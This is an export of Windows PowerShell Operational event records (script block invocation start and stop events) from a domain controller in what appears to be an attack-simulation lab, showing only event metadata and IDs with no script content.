RecordNumber=1469059
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469320
Keywords=None
Message=Completed invocation of ScriptBlock ID: 64663673-3388-407d-9a69-709aa0010c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469319
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469318
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469317
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469316
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469315
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469314
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469313
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469312
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469311
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469310
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469309
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469308
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469307
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469306
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469305
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469304
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469303
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469302
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469301
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469300
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469299
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469298
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469297
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469296
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469295
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469294
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469293
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469292
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469291
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469290
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469289
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469288
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469287
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469286
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469285
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469284
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469283
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469282
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469281
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469280
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469279
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469278
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469277
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469276
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469275
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469274
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469273
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469272
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469271
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469270
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469269
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469268
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469267
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469266
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
